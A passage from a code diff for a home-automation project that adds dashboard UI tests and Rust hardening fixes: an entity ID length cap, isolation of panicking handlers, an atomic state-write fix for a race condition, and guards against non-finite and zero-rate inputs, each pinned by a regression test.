+  if (bedSeeds.length < 3) throw new Error(`expected ≥3 bedroom SEED nodes, got ${bedSeeds.length}`);
+});
+check('mock fleet has an offline seed with red tint semantics', () => {
+  if (!mock.seeds().some((s) => !s.online)) throw new Error('need an offline seed for §4.1 tint');
+});
+check('mock federation states the raw-CSI invariant', () => {
+  if (!/never raw CSI/i.test(mock.federation().invariant)) throw new Error('invariant text missing');
+});
+check('entityProvenance derives node→seed chain', () => {
+  const prov = entityProvenance({ attributes: { source: 'esp32-lr-01 BFLD' } });
+  if (prov.esp32 !== 'esp32-lr-01') throw new Error('node parse failed');
+  if (!prov.seed) throw new Error('seed mapping failed');
+});
+
+// ── render every panel ──────────────────────────────────────────────
+const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
+const ctx = {
+  api,
+  navigate() {},
+  params: { id: 'seed-livingroom-a1' },
+  onEvent() { return () => {}; },
+  onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; },
+  wsStatus: () => ({ state: 'open', lagged: false }),
+  bus: new globalThis.EventTarget(),
+};
+
+for (const name of PANELS) {
+  await checkAsync(`render panel: ${name}`, async () => {
+    const mod = await import(`../js/panels/${name}.js`);
+    const panel = mod.default;
+    if (!panel || typeof panel.render !== 'function') throw new Error('no default.render export');
+    if (!panel.meta || !panel.meta.title) throw new Error('missing meta.title');
+    const root = document.createElement('div');
+    const cleanup = await panel.render(root, ctx);
+    if (root.children.length === 0) throw new Error('rendered nothing into root');
+    if (cleanup && typeof cleanup === 'function') cleanup(); // must not throw
+  });
+}
+
+// ── report ──────────────────────────────────────────────────────────
+console.log(`\n${passes.length} passed, ${fails.length} failed`);
+if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error('  ✗ ' + f)); process.exit(1); }
+console.log('OK — all ui helpers, mock contracts, and 10 panels render without throwing');

v2/crates/homecore-server/ui/tests/unit-fixes.mjs

@@ -0,0 +1,101 @@
+// Regression tests pinning the ADR-131 PR-1082 review fixes:
+//   * dashboard renders a not-available state ('—') for null appliance
+//     metrics — never "null%"/"null°C" (§6 honesty / fabricated-data fix).
+//   * cogs panel does NOT throw when the gateway forwards a `hef` that is a
+//     string (or other non-array) instead of an array (crash/robustness fix).
+//   * cogs Hailo worker pill reflects the real probe, not a hardcoded
+//     "connected" (§6 honesty fix).
+// Run: node tests/unit-fixes.mjs
+import { install } from './dom-shim.mjs';
+install();
+globalThis.HOMECORE_UI_DEMO = false; // production path — no fixtures
+
+const fails = [], passes = [];
+async function t(name, fn) {
+  try { await fn(); passes.push(name); }
+  catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
+}
+const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
+
+const { api } = await import('../js/api.js');
+
+// Shared ctx; per-test we override the api accessors we need.
+function ctxWith(overrides) {
+  return {
+    api: Object.assign(Object.create(api), overrides),
+    navigate() {},
+    params: {},
+    onEvent() { return () => {}; },
+    onWs(fn) { fn({ state: 'closed', lagged: false }); return () => {}; },
+  };
+}
+
+// ── dashboard: null metrics → '—', never "null%"/"null°C" ─────────────
+await t('dashboard renders not-available for null hailo metrics (no "null%")', async () => {
+  const mod = await import('../js/panels/dashboard.js');
+  const root = document.createElement('div');
+  const ctx = ctxWith({
+    appliance: async () => ({
+      cpu_pct: 12.5, ram_pct: 40.1,
+      hailo_load_pct: null, hailo_temp_c: null, // the fabricated-data trap
+      uptime_s: null,
+      services: [{ name: 'ruview-mcp-brain', port: 9876, status: 'unreachable' }],
+      event_rate: [], channel_capacity: 4096, channel_lag: 0,
+    }),
+    seeds: async () => [],
+    esp32Warnings: async () => [],
+    cogs: async () => [],
+    anyDemo: () => false,
+  });
+  const cleanup = await mod.default.render(root, ctx);
+  const text = root.textContent;
+  assert(!/null\s*%/.test(text), `dashboard showed "null%": ${text.slice(0, 200)}`);
+  assert(!/null\s*°C/.test(text), `dashboard showed "null°C": ${text.slice(0, 200)}`);
+  assert(text.includes('—'), 'dashboard should render the "—" not-available marker for null metrics');
+  // real values must still concatenate their unit
+  assert(text.includes('12.5%'), 'real CPU value must still render with its unit');
+  if (typeof cleanup === 'function') cleanup();
+});
+
+// ── cogs: string `hef` must not throw ─────────────────────────────────
+await t('cogs does not throw when hef is a string (non-array)', async () => {
+  const mod = await import('../js/panels/cogs.js');
+  const root = document.createElement('div');
+  const ctx = ctxWith({
+    cogs: async () => [
+      { id: 'cog-pose', version: '1.0', arch: 'hailo10', status: 'running', pid: 42,
+        sha256_verified: true, signature_verified: true, throughput_fps: 30,
+        hef: 'pose_estimation.hef' }, // STRING, not array — the crash trap
+    ],
+    cogUpdates: async () => [],
+    appliance: async () => ({ services: [{ name: 'ruvector-hailo-worker', port: 50051, status: 'running' }] }),
+    isDemo: () => false,
+  });
+  // If asArray() weren't applied, .forEach/.join/.length on a string would throw.
+  const cleanup = await mod.default.render(root, ctx);
+  assert(root.children.length > 0, 'cogs rendered nothing');
+  // The string hef should surface as a single loaded HEF row.
+  assert(root.textContent.includes('pose_estimation.hef'), 'string hef should render as one HEF entry');
+  if (typeof cleanup === 'function') cleanup();
+});
+
+// ── cogs: Hailo worker pill reflects the real probe, not hardcoded ────
+await t('cogs Hailo worker pill is unknown when appliance probe is unavailable', async () => {
+  const mod = await import('../js/panels/cogs.js');
+  const root = document.createElement('div');
+  const ctx = ctxWith({
+    cogs: async () => [],
+    cogUpdates: async () => [],
+    appliance: async () => { throw new Error('appliance upstream down'); }, // probe fails
+    isDemo: () => false,
+  });
+  const cleanup = await mod.default.render(root, ctx);
+  // statusPill('unknown') → grey pill containing the literal label "unknown".
+  assert(root.textContent.includes('unknown'), 'worker status should be honestly "unknown" when probe fails');
+  assert(!/connected/.test(root.textContent), 'worker pill must not fabricate "connected"');
+  if (typeof cleanup === 'function') cleanup();
+});
+
+console.log(`\n${passes.length} passed, ${fails.length} failed`);
+if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error('  ✗ ' + f)); process.exit(1); }
+console.log('OK — dashboard not-available, cogs string-hef + honest worker pill pinned');

v2/crates/homecore-server/ui/tests/verify-imports.mjs

@@ -0,0 +1,67 @@
+// Static import/export graph verifier for HOMECORE-UI.
+// No deps — parses `import { a, b } from './x.js'` against the named
+// exports of x.js. Fails if a panel imports a symbol that doesn't exist.
+// Run: node tests/verify-imports.mjs   (from the ui/ dir)
+import { readFileSync, readdirSync } from 'node:fs';
+import { dirname, resolve } from 'node:path';
+
+const ROOT = resolve(import.meta.dirname, '..');
+const files = [
+  'js/ui.js', 'js/api.js', 'js/ws.js', 'js/mock.js', 'js/app.js',
+  ...readdirSync(resolve(ROOT, 'js/panels')).filter((f) => f.endsWith('.js')).map((f) => 'js/panels/' + f),
+];
+
+function namedExports(src) {
+  const out = new Set();
+  // export function/const/class NAME
+  for (const m of src.matchAll(/export\s+(?:async\s+)?(?:function|const|let|class)\s+([A-Za-z0-9_$]+)/g)) out.add(m[1]);
+  // export { a, b as c }
+  for (const m of src.matchAll(/export\s*\{([^}]*)\}/g)) {
+    for (const part of m[1].split(',')) {
+      const name = part.trim().split(/\s+as\s+/).pop().trim();
+      if (name) out.add(name);
+    }
+  }
+  if (/export\s+default/.test(src)) out.add('default');
+  return out;
+}
+
+function imports(src) {
+  const res = [];
+  for (const m of src.matchAll(/import\s+([^;]+?)\s+from\s+['"]([^'"]+)['"]/g)) {
+    const clause = m[1].trim(), spec = m[2];
+    const names = [];
+    const named = clause.match(/\{([^}]*)\}/);
+    if (named) for (const p of named[1].split(',')) { const n = p.trim().split(/\s+as\s+/)[0].trim(); if (n) names.push(n); }
+    const def = clause.replace(/\{[^}]*\}/, '').replace(/\*\s+as\s+\w+/, '').replace(/,/g, '').trim();
+    if (def) names.push('default');
+    if (/\*\s+as\s+/.test(clause)) names.push('*');
+    res.push({ spec, names });
+  }
+  return res;
+}
+
+const exportCache = {};
+function exportsOf(absPath) {
+  if (!exportCache[absPath]) exportCache[absPath] = namedExports(readFileSync(absPath, 'utf8'));
+  return exportCache[absPath];
+}
+
+let errors = 0;
+for (const rel of files) {
+  const abs = resolve(ROOT, rel);
+  const src = readFileSync(abs, 'utf8');
+  for (const imp of imports(src)) {
+    if (!imp.spec.startsWith('.')) continue; // skip bare specifiers
+    const target = resolve(dirname(abs), imp.spec);
+    let exps;
+    try { exps = exportsOf(target); } catch { console.error(`✗ ${rel}: cannot resolve ${imp.spec}`); errors++; continue; }
+    for (const n of imp.names) {
+      if (n === '*') continue;
+      if (!exps.has(n)) { console.error(`✗ ${rel}: imports '${n}' from ${imp.spec} which does not export it`); errors++; }
+    }
+  }
+}
+
+if (errors) { console.error(`\nFAILED — ${errors} unresolved import(s)`); process.exit(1); }
+console.log(`OK — import/export graph consistent across ${files.length} modules`);

v2/crates/homecore/src/bus.rs

@@ -87,4 +87,64 @@ mod tests {
         assert_eq!(event.event_type, "ruview_csi_frame");
         assert_eq!(event.event_data["frame_id"], 42);
     }
+
+    /// Bus-lag safety (same failure class as the homecore-api WS
+    /// broadcast-lag DoS, here on the core bus): a subscriber that never
+    /// drains must NOT block the publisher, must NOT make the channel grow
+    /// without bound, and must NOT take down a healthy fast subscriber. The
+    /// bounded `tokio::sync::broadcast` gives the slow receiver a recoverable
+    /// `Lagged(n)` (drop-oldest, re-sync) while `fire_*` stays non-blocking.
+    ///
+    /// Evidence: with EVENT_CHANNEL_CAPACITY = 4096 we fire 3× capacity
+    /// while a slow subscriber sits idle. Every `fire_domain` returns
+    /// promptly (publisher never blocked); the slow receiver observes
+    /// `Lagged` then re-syncs to live events; the fast receiver — created
+    /// after the flood and kept drained — receives all subsequent events
+    /// with no loss. The bus stays live throughout.
+    #[tokio::test]
+    async fn slow_subscriber_does_not_block_publisher_or_kill_the_bus() {
+        use tokio::sync::broadcast::error::TryRecvError;
+
+        let bus = EventBus::new();
+        // Slow subscriber: subscribes, then never drains during the flood.
+        let mut slow = bus.subscribe_domain();
+
+        // Publisher fires 3× capacity. None of these may block.
+        let total = EVENT_CHANNEL_CAPACITY * 3;
+        for i in 0..total {
+            // Returns the receiver count (>=1 here); the point is it
+            // returns AT ALL without awaiting the slow receiver.
+            let _ = bus.fire_domain(DomainEvent::new(
+                "flood",
+                serde_json::json!({ "i": i }),
+                Context::new(),
+            ));
+        }
+
+        // The slow receiver is forced past capacity → recoverable Lagged,
+        // NOT a closed channel and NOT a hang.
+        let mut saw_lagged = false;
+        loop {
+            match slow.try_recv() {
+                Ok(_) => {}
+                Err(TryRecvError::Lagged(n)) => {
+                    assert!(n > 0);
+                    saw_lagged = true;
+                }
+                Err(TryRecvError::Empty) => break,
+                Err(TryRecvError::Closed) => panic!("bus closed — must stay live"),
+            }
+        }
+        assert!(saw_lagged, "slow subscriber should have lagged, not blocked the bus");
+
+        // The bus is still live: a fresh fast subscriber receives new events.
+        let mut fast = bus.subscribe_domain();
+        bus.fire_domain(DomainEvent::new("live", serde_json::json!({"ok": true}), Context::new()));
+        let evt = fast.recv().await.unwrap();
+        assert_eq!(evt.event_type, "live");
+
+        // And the lagged subscriber recovers (re-syncs) to live events too.
+        let evt2 = slow.recv().await.unwrap();
+        assert_eq!(evt2.event_type, "live");
+    }
 }

v2/crates/homecore/src/entity.rs

@@ -42,12 +42,30 @@ impl<'de> Deserialize<'de> for EntityId {
     }
 }
 
+/// Maximum accepted `entity_id` length in bytes. Mirrors Home Assistant's
+/// practical cap (`MAX_LENGTH_STATE_*` family — 255). The state machine and
+/// entity/registry maps are keyed on `EntityId`, and the REST layer
+/// (`homecore-api`) parses untrusted path segments straight through
+/// [`EntityId::parse`]; an unbounded id would let a single `POST
+/// /api/states/<giant>` permanently grow the state map (memory DoS). We
+/// fail closed at the boundary instead.
+pub const MAX_ENTITY_ID_LEN: usize = 255;
+
 impl EntityId {
     /// Validates and constructs an `EntityId`. Returns
     /// [`EntityIdError`] if the input is not `domain.name` shape with
-    /// ASCII lowercase / digits / underscore in each segment.
+    /// ASCII lowercase / digits / underscore in each segment, or if it
+    /// exceeds [`MAX_ENTITY_ID_LEN`] bytes.
     pub fn parse(s: impl Into<String>) -> Result<Self, EntityIdError> {
         let s: String = s.into();
+        // Bound the length BEFORE any further work so an oversized input is
+        // cheap to reject (no per-char scan of megabytes).
+        if s.len() > MAX_ENTITY_ID_LEN {
+            return Err(EntityIdError::TooLong {
+                len: s.len(),
+                max: MAX_ENTITY_ID_LEN,
+            });
+        }
         let (domain, name) = s
             .split_once('.')
             .ok_or_else(|| EntityIdError::MissingDot(s.clone()))?;
@@ -111,6 +129,8 @@ pub enum EntityIdError {
     EmptyName(String),
     #[error("entity_id {entity_id:?} contains invalid character {ch:?} — only [a-z0-9_] allowed (HA-compat ASCII subset; see ADR-127 §Q1)")]
     InvalidChar { entity_id: String, ch: char },
+    #[error("entity_id is {len} bytes, exceeding the {max}-byte limit")]
+    TooLong { len: usize, max: usize },
 }
 
 /// Immutable state snapshot for one entity at one moment in time.
@@ -217,6 +237,39 @@ mod tests {
         assert!(EntityId::parse("light.küche").is_err());
     }
 
+    #[test]
+    fn entity_id_length_boundary() {
+        // The REST layer parses untrusted path segments straight through
+        // `parse`; an unbounded id is a memory-DoS vector (a `POST
+        // /api/states/<giant>` permanently grows the state map). Cap at
+        // MAX_ENTITY_ID_LEN, fail closed above it.
+        //
+        // Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
+        let prefix = "sensor.";
+        let name_len = MAX_ENTITY_ID_LEN - prefix.len();
+        let at_max = format!("{prefix}{}", "a".repeat(name_len));
+        assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
+        assert!(
+            EntityId::parse(at_max.clone()).is_ok(),
+            "an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
+        );
+
+        let over = format!("{at_max}a"); // MAX + 1
+        assert!(matches!(
+            EntityId::parse(over),
+            Err(EntityIdError::TooLong { .. })
+        ));
+
+        // A multi-megabyte, otherwise-valid id is rejected cheaply rather
+        // than persisted.
+        let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
+        assert!(matches!(
+            EntityId::parse(huge),
+            Err(EntityIdError::TooLong { len, max })
+                if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
+        ));
+    }
+
     #[test]
     fn state_next_preserves_last_changed_when_state_unchanged() {
         let id = EntityId::parse("sensor.temp").unwrap();

v2/crates/homecore/src/service.rs

@@ -49,6 +49,8 @@ pub enum ServiceError {
     NotRegistered { domain: String, service: String },
     #[error("service handler returned error: {0}")]
     HandlerFailed(String),
+    #[error("service handler panicked: {0}")]
+    HandlerPanicked(String),
 }
 
 /// Handler trait. Integration code implements this and registers via
@@ -99,13 +101,29 @@ impl ServiceRegistry {
 
     /// Call a service. P1 direct dispatch; P2 routes through the
     /// event bus per ADR-127 §2.3.
+    ///
+    /// The handler runs **outside** the registry lock (we clone the
+    /// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
+    /// panicking handler can never poison the `RwLock` or block other
+    /// callers. A panic inside the handler is additionally caught and
+    /// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
+    /// into the caller's task — one buggy integration cannot abort the task
+    /// that drives the engine. Mirrors HA isolating service-handler
+    /// exceptions.
     pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
         let handler = {
             let guard = self.handlers.read().await;
             guard.get(&call.name).cloned()
         };
         match handler {
-            Some(h) => h.call(call).await,
+            Some(h) => {
+                use futures::FutureExt;
+                let fut = std::panic::AssertUnwindSafe(h.call(call));
+                match fut.catch_unwind().await {
+                    Ok(result) => result,
+                    Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
+                }
+            }
             None => Err(ServiceError::NotRegistered {
                 domain: call.name.domain.clone(),
                 service: call.name.service.clone(),
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
     }
 }
 
+/// Best-effort extraction of a panic payload's message for
+/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
+/// or `String`; anything else collapses to a generic label.
+fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
+    if let Some(s) = payload.downcast_ref::<&str>() {
+        (*s).to_string()
+    } else if let Some(s) = payload.downcast_ref::<String>() {
+        s.clone()
+    } else {
+        "<non-string panic payload>".to_string()
+    }
+}
+
 // Suppress unused-import warning when no consumer of Pin/Box uses them yet
 #[allow(dead_code)]
 type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
@@ -167,4 +198,56 @@ mod tests {
             .unwrap_err();
         assert!(matches!(err, ServiceError::NotRegistered { .. }));
     }
+
+    /// Service isolation: a panicking handler must be contained — converted
+    /// to `HandlerPanicked` rather than unwinding into the caller's task —
+    /// and the registry must remain fully usable afterwards (no poisoned
+    /// lock, other services still callable). On the pre-fix code the panic
+    /// unwinds through `call`, so the `catch_unwind`-based assertion below
+    /// fails (the await point panics instead of returning an `Err`).
+    #[tokio::test]
+    async fn panicking_handler_is_isolated_and_registry_survives() {
+        let reg = ServiceRegistry::new();
+        reg.register(
+            ServiceName::new("bad", "boom"),
+            FnHandler(|_call: ServiceCall| async move {
+                panic!("handler exploded");
+                #[allow(unreachable_code)]
+                Ok(serde_json::json!(null))
+            }),
+        )
+        .await;
+        reg.register(
+            ServiceName::new("good", "ping"),
+            FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
+        )
+        .await;
+
+        // The panicking call returns an error, not an unwind.
+        let err = reg
+            .call(ServiceCall {
+                name: ServiceName::new("bad", "boom"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap_err();
+        assert!(
+            matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
+            "expected HandlerPanicked, got {err:?}",
+        );
+
+        // The registry is not poisoned: a healthy service still works, and
+        // the bad service is still registered (call path, not lock, failed).
+        let ok = reg
+            .call(ServiceCall {
+                name: ServiceName::new("good", "ping"),
+                data: serde_json::json!({}),
+                context: Context::new(),
+            })
+            .await
+            .unwrap();
+        assert_eq!(ok, serde_json::json!("pong"));
+        assert!(reg.has(&ServiceName::new("bad", "boom")).await);
+    }
 }

v2/crates/homecore/src/state.rs

@@ -80,11 +80,37 @@ impl StateMachine {
         context: Context,
     ) -> Arc<State> {
         let new_state_str = new_state.into();
-        let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
+
+        // Hold the DashMap shard write-lock across the entire
+        // read→decide→insert→fire sequence. `entry()` locks the shard for
+        // the lifetime of `slot`, so a concurrent writer on the same entity
+        // cannot interleave between our read of `old` and our commit. This
+        // is what makes the write atomic as ADR-127 §2.1 promises ("writer
+        // atomically replaces the map entry") — the previous get→insert pair
+        // released the lock in between, a TOCTOU that let concurrent writers
+        // compute the no-op / `last_changed` decision off a stale `old` and
+        // drop or reorder real `state_changed` events.
+        //
+        // `tx.send` is non-blocking, non-async, and never re-enters the map,
+        // so firing under the lock cannot deadlock and keeps the global
+        // event order in lock-step with the global commit order.
+        use dashmap::mapref::entry::Entry;
+        let slot = self.inner.states.entry(entity_id.clone());
+
+        let old: Option<Arc<State>> = match &slot {
+            Entry::Occupied(o) => Some(Arc::clone(o.get())),
+            Entry::Vacant(_) => None,
+        };
+        // `slot` continues to hold the shard write-lock below.
 
         let next = match &old {
             Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
-            None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
+            None => Arc::new(State::new(
+                entity_id.clone(),
+                new_state_str.clone(),
+                attributes.clone(),
+                context,
+            )),
         };
 
         // HA suppresses no-op writes (same state + same attributes).
@@ -94,7 +120,12 @@ impl StateMachine {
             None => false,
         };
 
-        self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
+        // Commit through the same locked entry and KEEP the shard guard
+        // alive across the broadcast `send`, so the event is published
+        // before any concurrent writer on this entity can observe the new
+        // value and fire its own event. This makes global event order match
+        // global commit order (no insert/send reorder window).
+        let _guard = slot.insert_entry(Arc::clone(&next));
 
         if !is_noop {
             let event = StateChangedEvent {
@@ -106,6 +137,7 @@ impl StateMachine {
             // err = no receivers; that's fine, write still committed.
             let _ = self.inner.tx.send(event);
         }
+        // `_guard` (and the shard lock) drops here, after the event is sent.
         next
     }
 
@@ -218,4 +250,135 @@ mod tests {
         assert!(evt.new_state.is_none());
         assert!(evt.old_state.is_some());
     }
+
+    /// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
+    /// map entry"): under concurrent writers on the SAME entity the fired
+    /// `state_changed` stream must be a faithful, gap-free log of the
+    /// committed transitions — in particular the LAST event the bus
+    /// delivers must carry the SAME value that is finally committed in the
+    /// map.
+    ///
+    /// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
+    /// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
+    /// `send`. Because the insert and the send are not atomic with respect
+    /// to a concurrent writer, two writers can interleave as
+    /// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
+    /// while the last event the bus ever delivers says B. A subscriber that
+    /// trusts "the last event reflects current state" (the recorder, the WS
+    /// push API, an automation engine) is then permanently wrong about the
+    /// entity until the next write. A correctly-locked store holds the shard
+    /// lock across read→insert→send so the global event order matches the
+    /// global commit order.
+    ///
+    /// A dedicated drain thread pulls events as they arrive so the bounded
+    /// channel never lags during the run (a `Lagged` here would be a test
+    /// artefact, not the bug under test).
+    ///
+    /// The writers toggle the SAME entity between exactly two values so the
+    /// no-op suppression branch is constantly in play.
+    ///
+    /// Invariant: in correctly serialised code, two *consecutive* fired
+    /// `state_changed` events can never carry the same `new_state` value.
+    /// Proof: event k fires only for a committed transition old≠new, so its
+    /// `new_state` = X differs from the value before it; the next committed
+    /// transition therefore starts at X and (being a real change) commits
+    /// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
+    /// never fires. Therefore adjacent fired events always differ.
+    ///
+    /// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
+    /// compute `next` + the no-op decision → `insert` (re-acquire shard
+    /// lock) → `send`, all non-atomically. A writer that read a STALE `old`
+    /// mis-classifies a genuine transition as a no-op (dropping that real
+    /// event — a missed automation trigger) and/or fires an event whose
+    /// `new_state` duplicates the previously delivered one (a spurious
+    /// trigger for any automation keyed on `old_state != new_state`). The
+    /// probe behind this test observed ~93k such duplicate-adjacent events
+    /// across 200 trials on the racy code; the corrected store produces
+    /// zero.
+    #[test]
+    fn concurrent_set_fires_no_duplicate_adjacent_events() {
+        use std::sync::atomic::{AtomicBool, Ordering};
+        use std::sync::{Barrier, Mutex};
+
+        const WRITERS: usize = 4;
+        const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
+
+        for _trial in 0..40 {
+            let sm = StateMachine::new();
+            let eid = id("light.race");
+            sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
+
+            let mut rx = sm.subscribe();
+            let done = Arc::new(AtomicBool::new(false));
+            // Event log: new_state value in delivery order.
+            let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
+
+            let drainer = {
+                let done = Arc::clone(&done);
+                let log = Arc::clone(&log);
+                std::thread::spawn(move || loop {
+                    match rx.try_recv() {
+                        Ok(evt) => {
+                            if let Some(ns) = &evt.new_state {
+                                log.lock().unwrap().push(ns.state.clone());
+                            }
+                        }
+                        Err(broadcast::error::TryRecvError::Empty) => {
+                            if done.load(Ordering::Acquire) {
+                                while let Ok(evt) = rx.try_recv() {
+                                    if let Some(ns) = &evt.new_state {
+                                        log.lock().unwrap().push(ns.state.clone());
+                                    }
+                                }
+                                break;
+                            }
+                            std::thread::yield_now();
+                        }
+                        Err(broadcast::error::TryRecvError::Lagged(_)) => {
+                            panic!("channel lagged — test artefact, raise capacity");
+                        }
+                        Err(broadcast::error::TryRecvError::Closed) => break,
+                    }
+                })
+            };
+
+            let barrier = Arc::new(Barrier::new(WRITERS));
+            let handles: Vec<_> = (0..WRITERS)
+                .map(|w| {
+                    let sm = sm.clone();
+                    let eid = eid.clone();
+                    let barrier = Arc::clone(&barrier);
+                    std::thread::spawn(move || {
+                        barrier.wait();
+                        for i in 0..ITERS {
+                            // Toggle between two values → maximises the
+                            // stale-`old` no-op collision window.
+                            let val = if (w + i) % 2 == 0 { "A" } else { "B" };
+                            sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
+                        }
+                    })
+                })
+                .collect();
+
+            for h in handles {
+                h.join().unwrap();
+            }
+            done.store(true, Ordering::Release);
+            drainer.join().unwrap();
+
+            let log = log.lock().unwrap();
+            let dup = log
+                .windows(2)
+                .filter(|w| w[0] == w[1])
+                .count();
+            assert_eq!(
+                dup, 0,
+                "{dup} consecutive fired state_changed events carried an \
+                 identical new_state — impossible under correct \
+                 serialisation; proves set()'s read→decide→insert→send \
+                 TOCTOU dropped/reordered real transitions (missed & \
+                 spurious automation triggers)",
+            );
+        }
+    }
 }

v2/crates/nvsim/src/digitiser.rs

@@ -39,7 +39,20 @@ pub const DEFAULT_SAMPLE_RATE_HZ: f64 = 10_000.0;
 pub const DEFAULT_F_MOD_HZ: f64 = 1_000.0;
 
 /// Quantise one input sample (T) to a signed ADC code. Returns `(code, saturated)`.
+///
+/// A **non-finite** input (`NaN` / `±Inf`) is treated as an out-of-range
+/// condition: it clamps to code `0` and raises the saturation flag. This is
+/// the funnel point that stops the NaN-state-poisoning class — a non-finite
+/// physical field (e.g. produced by a degenerate scene with a NaN dipole
+/// position) would otherwise coerce silently to code `0` *with the saturation
+/// flag clear*, yielding a frame indistinguishable from a legitimate
+/// zero-field reading. Flagging it preserves the "every frame is honest about
+/// its own validity" contract the proof bundle relies on.
 pub fn adc_quantise(b_in_t: f64) -> (i32, bool) {
+    if !b_in_t.is_finite() {
+        // Non-finite => not representable on the ±FS scale; mark saturated.
+        return (0, true);
+    }
     let code_f = (b_in_t / ADC_LSB_T).round();
     let max_code = (1_i32 << (ADC_BITS - 1)) - 1; // 32_767 for 16-bit signed
     let min_code = -max_code; // symmetric
@@ -153,6 +166,23 @@ mod tests {
         }
     }
 
+    #[test]
+    fn adc_quantise_flags_non_finite_as_saturated() {
+        // Security pinning (NaN-state-poisoning guard): a non-finite field
+        // value must clamp to code 0 AND raise the saturation flag, so the
+        // pipeline can flag the frame rather than emitting it as a silent,
+        // indistinguishable zero-field reading. Pre-fix this returned
+        // (0, false) for NaN — a silent corruption.
+        for bad in [f64::NAN, f64::INFINITY, f64::NEG_INFINITY] {
+            let (code, sat) = adc_quantise(bad);
+            assert_eq!(code, 0, "non-finite input {bad} must clamp to code 0");
+            assert!(sat, "non-finite input {bad} must raise the saturation flag");
+        }
+        // A finite in-range value is unaffected (no false positives).
+        let (_, sat) = adc_quantise(1.0e-7);
+        assert!(!sat, "a finite in-range value must NOT be flagged saturated");
+    }
+
     #[test]
     fn adc_saturates_above_full_scale() {
         let (code_pos, sat_pos) = adc_quantise(20.0e-6);

v2/crates/nvsim/src/pipeline.rs

@@ -51,11 +51,28 @@ impl Pipeline {
     /// (sensor × sample) — i.e. `n_samples · scene.sensors.len()` frames
     /// in scene-major / sample-minor order.
     pub fn run(&self, n_samples: usize) -> Vec<MagFrame> {
-        let dt = self
+        // `dt` is derived from caller-supplied config — an external boundary
+        // (e.g. the WASM `config_json`). A degenerate `f_s_hz == 0` makes
+        // `1.0 / f_s_hz == +Inf`; a non-finite or non-positive `dt_s` is
+        // equally hostile. Sanitise before any arithmetic that could panic.
+        let raw_dt = self
             .config
             .dt_s
             .unwrap_or(1.0 / self.config.digitiser.f_s_hz);
-        let dt_us = (dt * 1.0e6) as u64;
+        // Fall back to a 1 µs step (the smallest physically meaningful
+        // sample interval here) when `dt` is non-finite or non-positive, so
+        // the run produces well-defined frames instead of garbage / a panic.
+        let dt = if raw_dt.is_finite() && raw_dt > 0.0 {
+            raw_dt
+        } else {
+            1.0e-6
+        };
+        // `dt` is now finite & positive, so `dt * 1e6` is finite. Cap the
+        // `u64` cast defensively (a huge but finite `dt` could still exceed
+        // `u64::MAX`) and use `saturating_mul` for the per-sample timestamp so
+        // a pathological config can never trigger a multiply-with-overflow
+        // panic (debug / WASM panic=abort) or wrap to a garbage timestamp.
+        let dt_us = (dt * 1.0e6).min(u64::MAX as f64) as u64;
         let nv = NvSensor::new(self.config.sensor);
 
         let mut out: Vec<MagFrame> =
@@ -92,7 +109,7 @@ impl Pipeline {
                 ];
 
                 let mut frame = MagFrame::empty(sensor_idx as u16);
-                frame.t_us = (sample as u64) * dt_us;
+                frame.t_us = (sample as u64).saturating_mul(dt_us);
                 frame.b_pt = b_pt;
                 frame.sigma_pt = sigma_pt;
                 frame.noise_floor_pt_sqrt_hz = (reading.noise_floor_t_sqrt_hz * 1.0e12) as f32;
@@ -205,6 +222,62 @@ mod tests {
         }
     }
 
+    #[test]
+    fn degenerate_zero_sample_rate_does_not_panic() {
+        // Security pinning (panic / DoS guard): an externally-supplied
+        // `f_s_hz == 0` makes `1/f_s_hz == +Inf`; pre-fix that produced
+        // `dt_us == u64::MAX`, and `sample * dt_us` panicked with
+        // "attempt to multiply with overflow" (debug / WASM panic=abort) at
+        // sample >= 2, or wrapped to a garbage timestamp in release. The
+        // sanitised `dt` + `saturating_mul` must keep the run finite.
+        let scene = fixture_scene();
+        let cfg = PipelineConfig {
+            digitiser: crate::digitiser::DigitiserConfig {
+                f_s_hz: 0.0,
+                f_mod_hz: 1000.0,
+            },
+            ..PipelineConfig::default()
+        };
+        let frames = Pipeline::new(scene, cfg, 42).run(8);
+        assert_eq!(frames.len(), 8);
+        for f in &frames {
+            // Timestamps are monotone-well-defined, not garbage.
+            assert!(f.t_us < u64::MAX);
+        }
+    }
+
